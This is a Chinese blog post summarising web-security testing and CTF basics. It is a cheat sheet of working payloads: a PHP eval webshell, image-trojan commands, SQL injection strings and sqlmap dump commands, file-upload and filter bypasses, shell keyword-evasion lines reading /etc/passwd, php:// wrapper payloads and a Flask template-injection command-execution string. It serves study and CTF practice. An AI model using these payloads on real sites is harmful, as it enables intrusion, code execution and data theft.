web安全测试总结、CTF入门总结

  1. 静态资源服务器漏洞

    1. Apache服务器从后向前解析文件类型,直到解析到可处理的文件名为止
    2. Apache Tomcat默认安装包含"/examples"目录
  2. 木马与webshell

    1. php一句话木马

      <?php @eval($_POST['cmd']) ?> 
      
      一句话木马配合中国菜刀可以实现一个webshell。github也有开源的各种webshell。
      
    2. 图片木马

      1. windows

        copy a.png/b + b.txt/a c.png

      2. linux

        cat file1.txt file2.jpg >> file3.jpg

    3. 上传的图片木马可以利用文件包含漏洞在生成一个小马,在这个小马中执行恶意代码。

    4. 常用木马工具

      1. weevely
      2. 中国菜刀
  3. sql注入

    1. 手工注入
      1. 判断注入点

        字符型

        #注:假设admin为正常查询字符串
        admin' and '1'='1'#    能查询到数据
        admin' and '1'='2'#    查询不到数据
        

        整数型

        #注:假设7为正常查询id
        7 && 1=2
        
      2. 查询字段
        a' UNION SELECT 1# 
        a' UNION SELECT 1,2#
        a' UNION SELECT 1,2,3#
        ...直到正常显示数据为止,同时注意数字出现在网页上的位置
        
      3. 查询库
        a' union select SCHEMA_NAME,2,3,4,5 from information_schema.SCHEMATA# 
        ...直到正常显示数据为止,同时注意数字出现在网页上的位置
        
      4. 查询表
        a‘ union select TABLE_NAME,2,3,4,5 from information_schema.TABLES where TABLE_SCHEMA=‘ctf’ limit 0,1 #
        
      5. 查询字段
        a’ union select COLUMN_NAME,2,3,4,5 from information_schema.COLUMNS where TABLE_NAME=‘ctf_key’ limit 0,1 #
        
      6. 查询记录
        a' union select secvalue,2,3,4,5 from ctf.ctf_key #  
        
    2. sqlmap
      1. 将请求报文抓下来放到一个文本文件,供sqlmap使用
      2. 判断注入点,手工判断或交给sqlmap
        python sqlmap -r request.txt -p "username" ,-r 指定request报文,-p 指定注入参数。 
        
      3. 查询库
        python sqlmap.py -r request.txt --current-db,得到当前数据库的名称。   
        
      4. 查询表
        python sqlmap.py -r request.txt -D 数据库名 --tables,得到数据库中的表的名称。  
        
      5. 查询字段
        python sqlmap.py -r request.txt -D security -T users --columns,得到users表中的列名。   
        
      6. 查询记录
        python sqlmap.py -r request.txt -D security -T users -C username,password --dump,得到用户名、密码。   
        
    3. sql注入获取webshell

      利用SQL注入攻击获取WebShell其实就是在向服务器写文件。(注意:这里我们需要得到网站的绝对路径)所有常用的关系数据库管理系统(RDBMS)均包含内置的向服务器文件系统写文件的功能。

      MySQL

      select into outfile(dumpfile) //MySQL写文件命令
      

      example:

      select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";
      
  4. 文件上传漏洞

    1. 文件上传漏洞主要有以下几种情况
      • MIME类型绕过漏洞
      • 文件扩展名绕过漏洞
      • 文件内容检测绕过类上传漏洞
      • 空字节截断目录路径检测绕过类上传漏洞
    2. 解析导致的文件上传漏洞
      • IIS6.0站上的目录路径检测解析绕过上传漏洞
      • Apache站上的解析缺陷绕过上传漏洞
      • htaccess文件上传解析漏洞
  5. HTTP Header 伪造请求地址和源地址

    1. X-Forwarded-For
    2. referer
  6. PHP文件包含漏洞

    1. 包含日志文件
      1. 先通过读取httpd的配置文件httpd.conf,找日志文件所在目录。常见日志文件位置:
        1. ../etc/httpd/conf/httpd.conf
        2. /usr/local/apache/conf/http.conf
        3. ../apache/logs/error.log
    2. 包含session
      1. 要求攻击者能控制部分Session的内容。常见的php-session存放位置:
        1. /var/lib/php/sess_PHPSESSID
        2. /var/lib/php/sess_PHPSESSID
        3. /tmp/sess_PHPSESSID
        4. /tmp/sessions/sess_PHPSESSID
    3. 包含/proc/self/environ 文件
      1. index.php?page=../../../../../proc/self/environ

        该文件包含Web进程运行时的环境变量,用户可以控制其中一部分,比如对User-Agent

    4. 包含上传的临时文件
      1. 如数据库文件,缓存文件
    5. more:https://zhuanlan.zhihu.com/p/50445145

  7. PHP各种绕过

    1. 弱类型比较
      1. 'abc' == 0, 结果为true
      2. '1234a' == 1234,结果为true
      3. ‘admin’==0,结果为true
      4. ‘1admin’==1,结果为true
      5. “0e123456”==“0e456789”,结果为true
      6. ……
    2. md5校验漏洞
      1. md5('QNKCDZO') == md5(240610708), 结果为true,适用于sha1
      2. md5(array()) == md5(array()), 结果为true,适用于sha1
    3. strcmp绕过
      1. strcmp("233", array()),结果为null。正常字符串比较一致的结果是0,但null在bool运算中很多情况下和0等价,可用来绕过if-else。
    4. 反序列化绕过 __wakeup
      1. 当成员属性数目大于实际数目时可绕过wakeup方法
    5. %00截断

      magic_quotes_gpc = off
      PHP < 5.3.4

    6. 字节长度截断:最大值Windows下256字节,Linux下4096字节
    7. %00截断目录遍历

      /var/www/%00

      magic_quotes_gpc = off

    8. 编码绕过

      %2e%2e%2f ../
      ..%c0%af ../
      %2e%2e%5c ..\

  8. 其他各种绕过

    1. 文件上传绕过检查
      1. 抓包,修改Content-Type

      2. Apache解析漏洞

        上传 1.php.jpg #apache从后向前解析

      3. Nginx解析漏洞

        php%001.jpg #00处截断

      4. IIS解析漏洞

        a.asp; xx.jpg

      5. 修改文件头

        GIF89a<?php @eval($_GET[0])> #GIF

      6. 别名

        php的别名php1,php2

    2. linux shell 命令绕过检查
      1. 使用通配符*、?绕过关键词

         ls –l =>/?ln/?s –l
         /bin/cat /var/www/html/index.php => /???/???%20/???/???/????/?????.???
        
      2. 使用连接符绕过关键词

        /'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w’d
        /b\i\n/w\h\i\c\h c\a\t
        
      3. 使用未初始化的bash变量绕过

        cat$a /etc$a/passwd$a
        
      4. 使用>绕过命令长度限制

      5. ${IFS}代替空格

    3. SQL注入,绕过检查

      1. 大小写如:UniOn,And等
      2. and/or 替换成&& ||
      3. substring mid left right
      4. replace uniunionon=>union
  9. 变量覆盖漏洞

    1. $$这种写法称为可变变量

      一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。

    2. extract()函数使用不当

      extract() 函数从数组中将变量导入到当前的符号表。

      如果代码中出现extract(array, EXTR_OVERWRITE),如果你能控制array的值,则存在变量覆盖漏洞。

    3. parse_str()函数使用不当

      parse_str() 函数把查询字符串解析到变量中。

      parse_str(string,array)

      如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。

      $a=1;
      parse_str('a=2');
      // 变量a的值会被覆盖为2
      
    4. import_request_variables()使用不当

      import_request_variables将 GET/POST/Cookie 变量导入到全局作用域中

      语法:

      bool import_request_variables(string$types[,string$prefix])
      

      $type代表要注册的变量,G代表GET,P代表POST,C代表COOKIE,第二个参数为要注册变量的前缀

      import_request_variables('G')指定导入GET请求中的变量,从而导致变量覆盖

    5. https://www.jianshu.com/p/a4d782e91852

  10. 远程命令执行

    1. preg_replace 有一个代码注入的漏洞,模式串后面加个e,会把替换后的字符串当做php代码执行。 preg_replace 函数php5.5版本以上被废弃
    2. php assert如果是字符串语句,且包含了变量,可以闭合该语句执行任意php代码。
    3. 上级目录 .. 被过滤,使用\绕过。

      linux 进入上一级目录:cd .. 等价与 cd .\.
      linux bash中,\为转义字符,用于转义&这类关键字。遇到无需转义的字符,会忽略掉\。

  11. php伪协议

    1. php://input
      1. 条件:allow_url_include = on

      2. payload

        index.php?file=php://input
        POST:
        <? phpinfo(); ?>
        
    2. php://filter
      使用伪协议读取php代码,编码为base64:
      php://filter/read=convert.base64-encode/resource=./index.php
      
    3. php://phar
      读取压缩文件下名为phpinfo.txt的文件
      index.php?file=phar://shell.zip/phpinfo.txt
      
    4. data
      1. 条件

        1. allow_url_fopen = On

        2. allow_url_include = On

          index.php?file=data:text/plain,<?php phpinfo(); ?>%00
          index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
          
    5. php发送HTTP请求

      url后跟@+文件名,可以将文件内容加入post请求的数据部分
      
  12. 源码泄露

    1. git源码泄露,GitHack
    2. svn源码泄露, dvcs-ripper
    3. DS_Store文件泄露, ds_store_exp
    4. phps:php源代码文件
    5. WEB-INF/web.xml泄露

      WEB-INF 是 Java 的 WEB 应用的安全目录。该目录原则上来说是客户端无法访问,只有服务端才可以可以访问。如果想在页面中直接访问其中的文件,必须通过 web.xml 文件对要访问的文件进行相应映射才能访问。

      WEB-INF 主要包含一下文件或目录:

      /WEB-INF/web.xml:Web 应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则;
      /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非 servlet class,他们不能包含在 .jar 文件中;
      /WEB-INF/lib/:存放 web 应用需要的各种 JAR 文件,放置仅在这个应用中要求使用的 jar 文件 , 如数据库驱动 jar 文件;
      /WEB-INF/src/:源码目录,按照包名结构放置各个 java 文件;
      /WEB-INF/database.properties:数据库配置文件。
      不过在一些特定的场合却会让攻击者能读取到其中的内容,从而造成源码泄露.

    6. 网站备份文件泄露

      在网站的升级和维护过程中,通常需要对网站中的文件进行修改。此时就需要对网站整站或者其中某一页面进行备份。

      当备份文件或者修改过程中的缓存文件因为各种原因而被留在网站 web 目录下,而该目录又没有设置访问权限时,便有可能导致备份文件或者编辑器的缓存文件被下载,导致敏感信息泄露,给服务器的安全埋下隐患。

      该漏洞的成因主要有是管理员将备份文件放在到 web 服务器可以访问的目录下。

      该漏洞往往会导致服务器整站源代码或者部分页面的源代码被下载,利用。源代码中所包含的各类敏感信息,如服务器数据库连接信息,服务器配置信息等会因此而泄露,造成巨大的损失。

      被泄露的源代码还可能会被用于代码审计,进一步利用而对整个系统的安全埋下隐患。

      文件后缀:

      .rar   .zip  .7z   .tar.gz   .bak    .swp   .txt   .sql
      
  13. php标签过滤。有些时候命令传不上去是因为服务端对php标签做了过滤。

    php标签
    <?php echo 'Hello World !'; ?>
    <script language="php"> echo 'Hello World !'; </script>
    <? echo 'this is the simplest, an SGML processing instruction'; ?>
    <?= expression ?> This is a shortcut for "<? echo expression ?>"
    <% echo 'You may optionally use ASP-style tags'; %>
    <%= $variable; # This is a shortcut for "<% echo . . ." %>
    
  14. 模板注入

    1. Flask

      1. 命令执行

        {{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__['os'].__dict__['popen']('whoami').read() }}
        
      2. 过滤单引号

        ?{{ [].__class__.__mro__[1].__subclasses__()[59].__init__.func_globals[request.args.linecace].__dict__[request.args.ss].__dict__[request.args.poen](request.args.ls).read() }}&linecace=linecache&ss=os&poen=popen&ls=ls
        
    2. Tornado读取cookie_screct

      1. {{handler.settings}}
  15. FUZZ

    1. 常用工具
      1. burp suite
      2. wfuzz
  16. GBK编码范围:8140-FEFE
  17. 弱密码爆破
  18. 目录爆破
    1. dirsearch
posted @   烟酒忆长安  阅读(991)  评论(0编辑  收藏  举报
编辑推荐:
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示